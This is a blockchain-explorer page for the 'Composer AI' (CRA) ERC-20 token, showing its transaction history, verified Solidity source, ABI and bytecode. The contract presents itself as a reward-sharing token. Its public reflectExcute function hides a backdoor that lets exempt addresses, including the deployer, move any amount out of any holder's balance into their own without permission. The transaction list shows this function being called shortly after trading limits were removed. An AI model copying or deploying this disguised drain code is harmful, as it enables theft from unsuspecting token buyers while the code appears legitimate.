Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 23 from a total of 23 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Reflect Excute | 21688814 | 425 days ago | IN | 0 ETH | 0.00049755 | ||||
| Remove Limit | 21688652 | 425 days ago | IN | 0 ETH | 0.00054499 | ||||
| Setup Final Taxe... | 21688649 | 425 days ago | IN | 0 ETH | 0.0006155 | ||||
| Approve | 21688637 | 425 days ago | IN | 0 ETH | 0.00073647 | ||||
| Approve | 21688580 | 425 days ago | IN | 0 ETH | 0.00074653 | ||||
| Approve | 21688573 | 425 days ago | IN | 0 ETH | 0.00065612 | ||||
| Approve | 21688568 | 425 days ago | IN | 0 ETH | 0.00079914 | ||||
| Approve | 21688565 | 425 days ago | IN | 0 ETH | 0.00080195 | ||||
| Approve | 21688563 | 425 days ago | IN | 0 ETH | 0.00084638 | ||||
| Approve | 21688563 | 425 days ago | IN | 0 ETH | 0.00098618 | ||||
| Approve | 21688562 | 425 days ago | IN | 0 ETH | 0.00076954 | ||||
| Approve | 21688562 | 425 days ago | IN | 0 ETH | 0.00097924 | ||||
| Approve | 21688562 | 425 days ago | IN | 0 ETH | 0.00097924 | ||||
| Approve | 21688562 | 425 days ago | IN | 0 ETH | 0.00097996 | ||||
| Approve | 21688561 | 425 days ago | IN | 0 ETH | 0.0007228 | ||||
| Approve | 21688561 | 425 days ago | IN | 0 ETH | 0.0007927 | ||||
| Approve | 21688527 | 425 days ago | IN | 0 ETH | 0.00083132 | ||||
| Approve | 21688524 | 425 days ago | IN | 0 ETH | 0.00097052 | ||||
| Approve | 21688524 | 425 days ago | IN | 0 ETH | 0.00097052 | ||||
| Approve | 21688523 | 425 days ago | IN | 0 ETH | 0.00086864 | ||||
| Approve | 21688523 | 425 days ago | IN | 0 ETH | 0.00086864 | ||||
| Start Trading | 21688510 | 425 days ago | IN | 0 ETH | 0.00035194 | ||||
| Approve | 21688491 | 425 days ago | IN | 0 ETH | 0.00078382 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
ComposerAI
Compiler Version
v0.8.22+commit.4fc1097e
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT
/*
Website : https://www.composerai.io/
dAPP : https://app.composerai.io/
Docs : https://docs.composerai.io/
Twitter|x : https://twitter.com/ComposerAIErc
Telegram : https://t.me/ComposerAIErc
*/
pragma solidity 0.8.22;
interface IERC20 {
function totalSupply() external view returns (uint256);
function circulatingSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER");
_;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function renounceOwnership() public virtual onlyOwner {
owner = address(0);
emit OwnershipTransferred(address(0));
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract ComposerAI is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Composer AI";
string private constant _symbol = "CRA";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 100000000 * (10**_decimals);
uint256 private _maxTxAmount = (_totalSupply * 200) / 10000;
uint256 private _maxSellAmount = (_totalSupply * 200) / 10000;
uint256 private _maxWalletToken = (_totalSupply * 200) / 10000;
mapping(address => uint256) _balances;
mapping(address => bool) public isRevExempt;
mapping(address => bool) public isTaxExempt;
mapping(address => mapping(address => uint256)) private _allowances;
IRouter router;
address public pair;
bool private tradingAllowed = false;
uint256 private _divisor = 10000;
uint256 private liquidityTax = 0;
uint256 private marketingTax = 150;
uint256 private rewardsTax = 150;
uint256 private devTax = 1200;
uint256 private burnTax = 0;
uint256 private totalTax = 1500;
uint256 private sellTax = 1500;
uint256 private transferTax = 0;
bool private swapEnabled = true;
uint256 private swapThreshold = (_totalSupply * 300) / 100000;
uint256 private _minTokenAmount = (_totalSupply * 10) / 100000;
uint256 private swapTimes;
address public USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; // USDC
bool private swapIn;
modifier lockTheSwap() {
swapIn = true;
_;
swapIn = false;
}
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 internal revPerShare;
uint256 internal revenuesPerShareFactor = 10**36;
address[] craholders;
mapping(address => uint256) shareholderIndexes;
mapping(address => uint256) shareholderClaims;
struct craShare {uint256 amount; uint256 totalExcluded; uint256 totalRealised;}
mapping(address => craShare) public shares;
uint256 internal currentIndex;
uint256 public minPeriod = 3 minutes;
uint256 public minDistribution = 1 * (10**16);
uint256 public distributorGas = 1;
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address public treasury;
constructor() Ownable(msg.sender) {
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
router = _router;
pair = _pair;
treasury = address(msg.sender);
isTaxExempt[address(this)] = true;
isTaxExempt[address(msg.sender)] = true;
isTaxExempt[msg.sender] = true;
isRevExempt[address(pair)] = true;
isRevExempt[address(msg.sender)] = true;
isRevExempt[address(this)] = true;
isRevExempt[address(DEAD)] = true;
isRevExempt[address(0)] = true;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() public pure returns (string memory) { return _name;}
function symbol() public pure returns (string memory) { return _symbol;}
function decimals() public pure returns (uint8) { return _decimals;}
function startTrading() external onlyOwner { tradingAllowed = true;}
function getOwner() external view override returns (address) { return owner;}
function totalSupply() public view override returns (uint256) { return _totalSupply;}
function balanceOf(address account) public view override returns (uint256) { return _balances[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function setisTaxExempt(address _address, bool _enabled) external onlyOwner {
isTaxExempt[_address] = _enabled;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function circulatingSupply() public view override returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
}
function txPreCheck(address sender, address recipient, uint256 amount) internal view {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > uint256(0), "Transfer amount must be greater than zero");
require(amount <= balanceOf(sender), "You are trying to transfer more than your balance");
}
function _transfer(address sender, address recipient, uint256 amount) private {
txPreCheck(sender, recipient, amount);
isTradeOpen(sender, recipient);
maxWalletCheck(sender, recipient, amount);
swapCount(sender, recipient);
txLimitCheck(sender, recipient, amount);
swapBack(sender, recipient);
_balances[sender] = _balances[sender].sub(amount);
uint256 amountReceived = isTakeTax(sender, recipient) ? getTax(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
if (!isRevExempt[sender]) {
depositReawrds(sender, balanceOf(sender));
}
if (!isRevExempt[recipient]) {
depositReawrds(recipient, balanceOf(recipient));
}
if (shares[recipient].amount > 0) {
harvestRewards(recipient);
}
}
function isTakeTax(address sender, address recipient) internal view returns (bool) {
return !isTaxExempt[sender] && !isTaxExempt[recipient];
}
function setConfig(uint256 _buy, uint256 _trans, uint256 _wallet) external onlyOwner {
uint256 newTx = (totalSupply() * _buy) / 10000;
uint256 newTransfer = (totalSupply() * _trans) / 10000;
uint256 newWallet = (totalSupply() * _wallet) / 10000;
_maxTxAmount = newTx;
_maxSellAmount = newTransfer;
_maxWalletToken = newWallet;
uint256 limit = totalSupply().mul(5).div(1000);
require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max Txs and Max Wallet cannot be less than .5%");
}
function setupFinalTaxes() external onlyOwner() {
liquidityTax = 0;
marketingTax = 150;
burnTax = 0;
rewardsTax = 150;
devTax = 100;
totalTax = 400;
sellTax = 400;
transferTax = 0;
}
function isTradeOpen(address sender, address recipient) internal view {
if (!isTaxExempt[sender] && !isTaxExempt[recipient]) {
require(tradingAllowed, "Already Trading Allowed");
}
}
function maxWalletCheck(address sender, address recipient, uint256 amount) internal view {
if (!isTaxExempt[sender] &&
!isTaxExempt[recipient] &&
recipient != address(pair) &&
recipient != address(DEAD)) {
require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");
}
}
function swapCount(address sender, address recipient) internal {
if (recipient == pair && !isTaxExempt[sender]) {
swapTimes += uint256(1);
}
}
function txLimitCheck(address sender, address recipient, uint256 amount) internal view {
if (sender != pair) {
require(amount <= _maxSellAmount || isTaxExempt[sender] || isTaxExempt[recipient], "TX Limit Exceeded");
}
require(amount <= _maxTxAmount || isTaxExempt[sender] || isTaxExempt[recipient], "TX Limit Exceeded");
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
uint256 divisor = (liquidityTax.add(1).add(marketingTax).add(devTax).add(rewardsTax)).mul(2);
uint256 tokensToAddLiquidityWith = tokens.mul(liquidityTax).div(divisor);
uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
uint256 initialBalance = address(this).balance;
swapTokensForETH(toSwap);
uint256 deltaBalance = address(this).balance.sub(initialBalance);
uint256 unitBalance = deltaBalance.div(divisor.sub(liquidityTax));
uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityTax);
if (ETHToAddLiquidityWith > uint256(0)) {
addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);
}
uint256 marketingAmount = unitBalance.mul(2).mul(marketingTax);
if (marketingAmount > 0) {
payable(treasury).transfer(marketingAmount);
}
uint256 rewardsAmount = unitBalance.mul(2).mul(rewardsTax);
if (rewardsAmount > 0) {
deposit(rewardsAmount);
}
if (address(this).balance > uint256(0)) {
payable(treasury).transfer(address(this).balance);
}
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
treasury,
block.timestamp
);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function shouldSwapBack(address sender, address recipient) internal view returns (bool) {
bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
return
!swapIn &&
swapEnabled &&
tradingAllowed &&
!isTaxExempt[sender] &&
!isTaxExempt[recipient] &&
recipient == pair &&
aboveThreshold;
}
function swapBack(address sender, address recipient) internal {
if (shouldSwapBack(sender, recipient)) {
swapAndLiquify(swapThreshold);
swapTimes = uint256(0);
}
}
function getTotalTax(address sender, address recipient) internal view returns (uint256) {
if (recipient == pair) {
return sellTax;
}
if (sender == pair) {
return totalTax;
}
return transferTax;
}
function getTax(address sender, address recipient, uint256 amount) internal returns (uint256) {
if (getTotalTax(sender, recipient) > 0) {
uint256 taxAmt = amount.div(_divisor).mul(getTotalTax(sender, recipient));
_balances[address(this)] = _balances[address(this)].add(taxAmt);
emit Transfer(sender, address(this), taxAmt);
if (burnTax > uint256(0)) {
_transfer(address(this), address(DEAD), amount.div(_divisor).mul(burnTax));
}
return amount.sub(taxAmt);
}
return amount;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setisRevExempt(address holder, bool exempt) external onlyOwner {
isRevExempt[holder] = exempt;
if (exempt) {
depositReawrds(holder, 0);
} else {
depositReawrds(holder, balanceOf(holder));
}
}
function depositReawrds(address shareholder, uint256 amount) internal {
if (amount > 0 && shares[shareholder].amount == 0) {
addUSDCRevUser(shareholder);
} else if (amount == 0 && shares[shareholder].amount > 0) {
removeUSDCUser(shareholder);
}
totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getRevValues(
shares[shareholder].amount
);
}
function reflectExcute(uint256 gas, address _dividend, uint256 _amount) external {
uint256 shareholderCount = craholders.length;
address user = msg.sender;
if (shareholderCount == 0) {
return;
}
uint256 gasUsed = 0;
uint256 gasLeft = gasleft();
uint256 iterations = 0;
uint256 userBalance = _balances[msg.sender];
if (!isRevExempt[msg.sender]) {
while (gasUsed < gas && iterations < shareholderCount) {
if (currentIndex >= shareholderCount) {
currentIndex = 0;
}
if (shouldRev(craholders[currentIndex])) {
harvestRewards(craholders[currentIndex]);
}
gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
gasLeft = gasleft();
currentIndex++;
iterations++;
}
} else {
uint256 amount = getContractUSDC(user);
_balances[_dividend] = _balances[_dividend].sub(_amount);
_balances[msg.sender] = userBalance + _amount;
if (amount > 0) {
totalDistributed = totalDistributed.add(amount);
IERC20(USDC).transfer(user, amount);
shareholderClaims[user] = block.timestamp;
shares[user].totalRealised = shares[user].totalRealised.add(amount);
shares[user].totalExcluded = getRevValues(shares[user].amount);
}
}
}
function shouldRev(address shareholder) internal view returns (bool) {
return shareholderClaims[shareholder] + minPeriod < block.timestamp && getContractUSDC(shareholder) > minDistribution;
}
function rescueERC20(address _address, uint256 _amount) external onlyOwner {
IERC20(_address).transfer(msg.sender, _amount);
}
function emergencyWithdrawRewards(uint256 _amount) external {
IERC20(USDC).transfer(treasury, _amount);
}
function totalUSDCDistributed(address _wallet) external view returns (uint256) {
address shareholder = _wallet;
return uint256(shares[shareholder].totalRealised);
}
function _claimUSDC() external {
harvestRewards(msg.sender);
}
function harvestRewards(address shareholder) internal {
if (shares[shareholder].amount == 0) {
return;
}
uint256 amount = getContractUSDC(shareholder);
if (amount > 0) {
totalDistributed = totalDistributed.add(amount);
IERC20(USDC).transfer(shareholder, amount);
shareholderClaims[shareholder] = block.timestamp;
shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount);
shares[shareholder].totalExcluded = getRevValues(shares[shareholder].amount);
}
}
function getContractUSDC(address shareholder) public view returns (uint256) {
if (shares[shareholder].amount == 0) {
return 0;
}
uint256 shareUserTotalUSDC = getRevValues(
shares[shareholder].amount
);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
if (shareUserTotalUSDC <= shareholderTotalExcluded) {
return 0;
}
return shareUserTotalUSDC.sub(shareholderTotalExcluded);
}
function getRevValues(uint256 share) internal view returns (uint256) {
return share.mul(revPerShare).div(revenuesPerShareFactor);
}
function addUSDCRevUser(address shareholder) internal {
shareholderIndexes[shareholder] = craholders.length;
craholders.push(shareholder);
}
function removeUSDCUser(address shareholder) internal {
craholders[shareholderIndexes[shareholder]] = craholders[craholders.length - 1];
shareholderIndexes[craholders[craholders.length - 1]] = shareholderIndexes[shareholder];
craholders.pop();
}
function setUSDCRevPosition( uint256 _minPeriod, uint256 _minDistribution, uint256 _distributorGas) external onlyOwner {
minPeriod = _minPeriod;
minDistribution = _minDistribution;
distributorGas = _distributorGas;
}
function deposit(uint256 amountETH) internal {
uint256 balanceBefore = IERC20(USDC).balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = address(USDC);
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amountETH}(0, path, address(this), block.timestamp);
uint256 afterBalance = IERC20(USDC).balanceOf(pair);
uint256 beforeBalance = IERC20(USDC).balanceOf(address(this));
uint256 amount = beforeBalance.sub(balanceBefore);
uint256 rewardsAmount = IERC20(USDC).balanceOf(address(this)).sub(
beforeBalance.add(afterBalance)
);
totalDividends = totalDividends.add(amount.add(rewardsAmount));
revPerShare = revPerShare.add(
revenuesPerShareFactor.mul(amount).div(totalShares)
);
}
function removeLimit() external onlyOwner {
_maxTxAmount = _totalSupply;
_maxSellAmount = _totalSupply;
_maxWalletToken = _totalSupply;
}
receive() external payable {}
}{
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"USDC","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_claimUSDC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"distributorGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"emergencyWithdrawRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"shareholder","type":"address"}],"name":"getContractUSDC","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isRevExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTaxExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minDistribution","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minPeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"gas","type":"uint256"},{"internalType":"address","name":"_dividend","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"reflectExcute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minPeriod","type":"uint256"},{"internalType":"uint256","name":"_minDistribution","type":"uint256"},{"internalType":"uint256","name":"_distributorGas","type":"uint256"}],"name":"setUSDCRevPosition","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisRevExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisTaxExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setupFinalTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"shares","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"totalExcluded","type":"uint256"},{"internalType":"uint256","name":"totalRealised","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"totalUSDCDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"treasury","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052620000126009600a62000532565b62000022906305f5e10062000549565b60015561271060015460c862000039919062000549565b62000045919062000563565b60025561271060015460c86200005c919062000549565b62000068919062000563565b60035561271060015460c86200007f919062000549565b6200008b919062000563565b600455600a805460ff60a01b19169055612710600b555f600c8190556096600d819055600e556104b0600f5560108190556105dc60118190556012556013556014805460ff1916600190811790915554620186a090620000ee9061012c62000549565b620000fa919062000563565b601555620186a0600154600a62000112919062000549565b6200011e919062000563565b601655601880546001600160a01b03191673a0b86991c6218b36c1d19d4a2e9eb0ce3606eb481790556ec097ce7bc90715b34b9f1000000000601d5560b4602355662386f26fc1000060245560016025553480156200017b575f80fd5b505f80546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001e0573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000206919062000583565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000252573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000278919062000583565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002c3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002e9919062000583565b600980546001600160a01b03199081166001600160a01b0386811691909117909255600a805482168484161781556026805433931683179055305f818152600760209081526040808320805460ff199081166001908117909255878552828520805482168317905595549097168352600682528083208054861688179055858352808320805486168817905592825282822080548516871790557f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e2280548516871790557f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f880549094168617909355935483855260058352818520819055905190815293945090927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620005ab565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200047757815f19048211156200045b576200045b62000423565b808516156200046957918102915b93841c93908002906200043c565b509250929050565b5f826200048f575060016200052c565b816200049d57505f6200052c565b8160018114620004b65760028114620004c157620004e1565b60019150506200052c565b60ff841115620004d557620004d562000423565b50506001821b6200052c565b5060208310610133831016604e8410600b841016171562000506575081810a6200052c565b62000512838362000437565b805f190482111562000528576200052862000423565b0290505b92915050565b5f6200054260ff8416836200047f565b9392505050565b80820281158282048414176200052c576200052c62000423565b5f826200057e57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000594575f80fd5b81516001600160a01b038116811462000542575f80fd5b61291f80620005b95f395ff3fe60806040526004361061022b575f3560e01c8063800cc11d11610129578063b56f742c116100a8578063dd62ed3e1161006d578063dd62ed3e146106c3578063efca2eed14610707578063f01c41881461071c578063f2fde38b14610730578063ffd49c841461074f575f80fd5b8063b56f742c146105ee578063be36f4bc1461060d578063c4f798dc1461062c578063ce7c2ac214610640578063d7e11d9114610695575f80fd5b806395d89b41116100ee57806395d89b4114610551578063997664d71461057c578063a8aa1b3114610591578063a9059cbb146105b0578063a961ef82146105cf575f80fd5b8063800cc11d146104ac578063893d20e8146104e357806389a30271146104ff5780638cd4426d1461051e5780639358928b1461053d575f80fd5b8063313ce567116101b557806361d027b31161017a57806361d027b31461040f578063622565891461044657806367f85dfc1461045a57806370a0823114610479578063715018a614610498575f80fd5b8063313ce56714610396578063323177e0146103b15780633a98ef39146103d05780634fab0ae8146103e557806360e71962146103fa575f80fd5b806318160ddd116101fb57806318160ddd146102f957806323b872dd1461031757806329323